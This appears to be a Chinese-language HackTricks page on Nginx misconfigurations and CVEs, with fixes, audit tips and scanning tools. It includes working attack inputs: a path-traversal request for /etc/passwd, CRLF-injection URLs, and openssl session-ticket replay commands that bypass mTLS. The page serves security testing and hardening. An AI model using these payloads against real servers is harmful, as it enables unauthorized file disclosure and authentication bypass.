Nginx

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

缺少 root location

在配置 Nginx 服务器时,root directive 通过定义用于提供文件的基础目录,起着关键作用。请看下面的示例:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

在此配置中,/etc/nginx 被指定为 root 目录。该设置允许访问指定 root 目录下的文件,例如 /hello.txt。不过,需要注意的是只定义了一个特定的 location(/hello.txt)。没有为根位置(location / {...})配置处理。这个遗漏意味着 root 指令在全局生效,使对根路径 / 的请求能够访问 /etc/nginx 下的文件。

这个配置带来一个严重的安全隐患。一个简单的 GET 请求,例如 GET /nginx.conf,可能会通过返回位于 /etc/nginx/nginx.conf 的 Nginx 配置文件而泄露敏感信息。将 root 设置为较不敏感的目录(例如 /etc)可以降低该风险,但仍可能导致对其他关键文件的意外访问,包括其他配置文件、访问日志,甚至用于 HTTP basic authentication 的加密凭证。

Alias LFI Misconfiguration

在 Nginx 的配置文件中,应仔细检查 location 指令。一个被称为 Local File Inclusion (LFI) 的漏洞可能会因类似下面的配置而无意间被引入:

location /imgs {
alias /path/images/;
}

该配置容易受到 LFI 攻击,因为服务器会将类似 /imgs../flag.txt 的请求解释为试图访问预期目录之外的文件,实际上解析为 /path/images/../flag.txt。这个漏洞允许攻击者检索服务器文件系统中不应通过 web 访问的文件。

为缓解此漏洞,应调整配置为:

location /imgs/ {
alias /path/images/;
}

更多信息: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix 测试:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

不安全的路径限制

查看以下页面以了解如何绕过类似的指令:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Unsafe variable use / HTTP Request Splitting

Caution

存在漏洞的变量 $uri$document_uri,可以通过将它们替换为 $request_uri 来修复。

一个正则表达式也可能存在漏洞,例如:

location ~ /docs/([^/])? { … $1 … } - Vulnerable

location ~ /docs/([^/\s])? { … $1 … } - Not vulnerable (checking spaces)

location ~ /docs/(.*)? { … $1 … } - Not vulnerable

下面的示例演示了 Nginx 配置中的一个漏洞:

location / {
return 302 https://example.com$uri;
}

字符 \r (Carriage Return) 和 \n (Line Feed) 表示 HTTP 请求中的换行字符,其 URL 编码形式为 %0d%0a。在请求中包含这些字符(例如 http://localhost/%0d%0aDetectify:%20clrf)发送到配置错误的服务器,会导致服务器在响应中发出一个名为 Detectify 的新 header。这是因为 $uri 变量会解码 URL 编码的换行字符,从而在响应中产生意外的 header:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

了解有关 CRLF injection and response splitting 风险的更多信息,见 https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Also this technique is explained in this talk with some vulnerable examples and dectection mechanisms。 例如,为了从黑盒角度检测此错误配置,你可以使用以下请求:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

如果有漏洞,第一个请求会返回,因为 “X” 可以是任意 HTTP method,而第二个会返回错误,因为 H 不是有效的方法。因此服务器会接收类似 GET / H HTTP/1.1 的请求,这会触发错误。

另一个检测示例为:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

该演讲中展示的一些易受攻击的配置包括:

  • Note how $uri is set as is in the final URL
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • 注意 $uri 再次出现在 URL 中(这次是在参数中)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • 现在在 AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

任何变量

发现用户提供的数据在某些情况下可能被视为 Nginx 变量。导致这种行为的原因仍然有些难以捉摸,但这并不罕见,也不容易验证。该异常在 HackerOne 的一份安全报告中被指出,可在 here 查看。对错误信息的进一步调查发现其发生位置在 Nginx 代码库的 SSI filter module of Nginx’s codebase 中,并将 Server Side Includes (SSI) 识别为根本原因。

要检测此错误配置,可以执行以下命令,该命令通过设置 referer 头来测试变量打印:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

对系统中这种错误配置的扫描显示多个实例允许用户打印 Nginx 变量。然而,易受攻击实例数量的减少表明修补该问题的努力在一定程度上是成功的。

使用 try_files 和 $URI$ARGS 变量

下面的 Nginx 错误配置可能导致 LFI 漏洞:

location / {
try_files $uri$args $uri$args/ /index.html;
}

在我们的配置中,有指令 try_files,用于按指定顺序检查文件是否存在。Nginx 会返回找到的第一个文件。try_files 指令的基本语法如下:

try_files file1 file2 ... fileN fallback;

Nginx 会按指定顺序检查每个文件是否存在。如果某个文件存在,会立即提供该文件。如果没有任何指定的文件存在,请求会被传递到回退选项,该回退选项可以是另一个 URI 或特定的错误页面。

但是,当在此指令中使用 $uri$args 变量时,Nginx 会尝试查找与请求 URI 以及任何查询字符串参数组合匹配的文件。因此我们可以利用该配置:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

使用以下 payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

使用我们的 payload,我们将绕过在 Nginx 配置中定义的 root 目录并加载 /etc/passwd 文件。在 debug logs 中我们可以观察到 Nginx 尝试这些文件:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

使用上述配置针对 Nginx 的 PoC: 示例 burp 请求

读取原始 backend 响应

Nginx 通过 proxy_pass 提供了一个功能,允许拦截 backend 产生的错误和 HTTP 头,以隐藏内部错误消息和头信息。Nginx 通过在 backend 出错时返回自定义错误页面来实现这一点。然而,当 Nginx 遇到无效的 HTTP 请求时,会出现问题。这样的请求会原样转发到 backend,而 backend 的原始响应会被直接返回给客户端,绕过 Nginx 的处理。

考虑一个涉及 uWSGI 应用的示例场景:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

为此,在 Nginx 配置中使用特定指令:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: 该指令使 Nginx 能够为后端响应状态码大于 300 的情况提供自定义响应。它确保对于我们示例中的 uWSGI 应用,500 Error 响应会被 Nginx 截获并处理。
  • proxy_hide_header: 顾名思义,该指令会从客户端隐藏指定的 HTTP 头,从而增强隐私和安全。

当发出有效的 GET 请求时,Nginx 会正常处理,返回标准错误响应且不会暴露任何秘密头。但是,无效的 HTTP 请求会绕过该机制,导致后台的原始响应被暴露,包括秘密头和错误信息。

merge_slashes set to off

默认情况下,Nginx 的 merge_slashes 指令 设置为 on,它会将 URL 中的多个正斜杠合并为单个斜杠。这个功能在简化 URL 处理的同时,可能无意间掩盖位于 Nginx 后的应用中的漏洞,尤其是那些容易受到 local file inclusion (LFI) 攻击的应用。安全研究员 Danny Robinson 和 Rotem Bar 已指出这种默认行为在 Nginx 作为反向代理时的潜在风险。

为降低此类风险,建议对易受这些漏洞影响的应用将 merge_slashes 指令设置为 off。这样 Nginx 会在不修改 URL 结构的情况下将请求转发给应用,从而不会掩盖潜在的安全问题。

更多信息请查看 Danny Robinson and Rotem Bar

Maclicious Response Headers

正如 this writeup 所示,某些响应头如果在 Web 服务器的响应中出现,会改变 Nginx 代理的行为。你可以在 in the docs 中查看它们:

  • X-Accel-Redirect: 指示 Nginx 将请求内部重定向到指定位置。
  • X-Accel-Buffering: 控制 Nginx 是否应对响应进行缓冲。
  • X-Accel-Charset: 在使用 X-Accel-Redirect 时为响应设置字符集。
  • X-Accel-Expires: 在使用 X-Accel-Redirect 时设置响应的过期时间。
  • X-Accel-Limit-Rate: 在使用 X-Accel-Redirect 时限制响应的传输速率。

例如,响应头 X-Accel-Redirect 会在 nginx 中引发内部 重定向。因此,如果 nginx 配置中有类似 root /,且 Web 服务器的响应包含 X-Accel-Redirect: .env,nginx 将会发送 /.env 的内容(路径遍历)。

Map 指令的默认值

Nginx 配置 中,map 指令常用于 授权控制。一个常见错误是不指定 default 值,这可能导致未授权访问。例如:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

如果没有 default恶意用户 可以通过访问 /map-poc 内的 未定义的 URI 来绕过安全措施。The Nginx manual 建议设置一个 default value 以避免此类问题。

DNS Spoofing Vulnerability

在某些条件下,针对 Nginx 的 DNS spoofing 是可行的。如果攻击者知道 Nginx 使用的 DNS server 并能拦截其 DNS 查询,就可以伪造 DNS 记录。然而,如果 Nginx 被配置为使用 localhost (127.0.0.1) 进行 DNS 解析,此方法无效。Nginx 允许按如下方式指定 DNS 服务器:

resolver 8.8.8.8;

proxy_passinternal 指令

The proxy_pass directive is utilized for redirecting requests to other servers, either internally or externally. The internal directive ensures that certain locations are only accessible within Nginx. While these directives are not vulnerabilities by themselves, their configuration requires careful examination to prevent security lapses.

proxy_set_header Upgrade & Connection

If the nginx server is configured to pass the Upgrade and Connection headers an h2c Smuggling attack could be performed to access protected/internal endpoints.

Caution

This vulnerability would allow an attacker to stablish a direct connection with the proxy_pass endpoint (http://backend:9999 in this case) that whose content is not going to be checked by nginx.

示例:来自 here 的易受攻击配置,用于窃取 /flag

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

注意,即使 proxy_pass 指向特定的 路径(例如 http://backend:9999/socket.io),连接也会建立到 http://backend:9999,因此你可以 访问该内部端点内的任何其他路径。所以在 proxy_pass 的 URL 中指定路径并不重要。

HTTP/3 QUIC 模块 remote DoS & leak (2024)

在 2024 年,Nginx 披露了 CVE-2024-31079、CVE-2024-32760、CVE-2024-34161 和 CVE-2024-35200,表明当实验性的 ngx_http_v3_module 被编译并暴露了 listen ... quic socket 时,single hostile QUIC session 就能导致 worker 进程崩溃或 leak 内存。受影响的构建版本为 1.25.0–1.25.5 和 1.26.0,1.27.0/1.26.1 已包含修复;内存泄露(CVE-2024-34161)还需要 MTUs 大于 4096 字节才能将敏感数据暴露出来(详情见下方 2024 nginx advisory)。

Recon & exploitation hints

  • HTTP/3 是可选启用的,因此可以扫描 Alt-Svc: h3=":443" 响应或对 UDP/443 的 QUIC 握手进行暴力探测;确认后,用自定义的 quiche-client/nghttp3 payloads 对握手和 STREAM frames 进行 fuzz,以触发 worker 崩溃并强制产生日志 leak。
  • 快速识别目标是否支持:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS 会话恢复绕过客户端证书认证 (CVE-2025-23419)

2025 年 2 月的通告披露,在使用 OpenSSL 构建的 nginx 1.11.4–1.27.3 中,允许 重用 TLS 1.3 会话,将一个基于名称的虚拟主机的会话在另一个主机内复用。因此,已在无证书主机上协商的客户端可以重放 ticket/PSK 跳转到受 ssl_verify_client on; 保护的 vhost,从而完全绕过 mTLS。该漏洞在多个虚拟主机共享相同的 TLS 1.3 会话缓存和 tickets 时触发(参见下文引用的 2025 nginx 通告)。

攻击者流程

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

如果目标易受攻击,第二次握手会在不出示客户端证书的情况下完成,从而暴露受保护的位置。

What to audit

  • 混合的 server_name 块,它们共享 ssl_session_cache shared:SSL 并且启用了 ssl_session_tickets on;
  • 期望 mTLS 的 Admin/API 块,但却从公共主机继承了共享的会话缓存/票据设置。
  • 自动化在全局启用 TLS 1.3 会话恢复(例如 Ansible roles),而未考虑 vhost 隔离。

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

The HTTP/2 Rapid Reset attack (CVE-2023-44487) 仍然会影响 nginx,当运维人员将 keepalive_requestshttp2_max_concurrent_streams 调高超过默认值时:攻击者打开一个 HTTP/2 连接,向其中创建成千上万的 streams,然后立即发送 RST_STREAM 帧,使并发上限始终无法达到,而 CPU 不断在连接拆除逻辑上消耗。Nginx 默认值(128 并发流,1000 keepalive 请求)将影响范围保持较小;将这些限制“显著提高”会使即使单个客户端也能轻易耗尽 worker(参见下文引用的 F5 报告)。

检测提示

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

那些暴露出异常高配置值的主机是首要目标:一个 HTTP/2 客户端可以通过循环创建 stream 并立即发送 RST_STREAM 帧来使 CPU 占用飙升,而不触发并发上限。

亲自试试

Detectify 已创建了一个 GitHub 仓库,你可以使用 Docker 在其中搭建一个易受攻击的 Nginx 测试服务器,其中包含本文讨论的一些错误配置,自己尝试发现它们!

https://github.com/detectify/vulnerable-nginx

静态分析工具

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (an updated fork of GIXY) 是一个用于分析 Nginx 配置的工具,旨在发现漏洞、不安全的指令以及有风险的错误配置。它也会发现影响性能的错误配置,并检测遗漏的加固机会,从而实现自动化的缺陷检测。
  • gixy-ng (the actively maintained fork of GIXY) 是一个用于分析 Nginx 配置的工具,旨在发现漏洞、不安全的指令以及有风险的错误配置。它也会发现影响性能的错误配置,并检测遗漏的加固机会,从而实现自动化的缺陷检测。

Nginxpwner

Nginxpwner 是一个用于查找常见 Nginx 错误配置和漏洞的简单工具。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks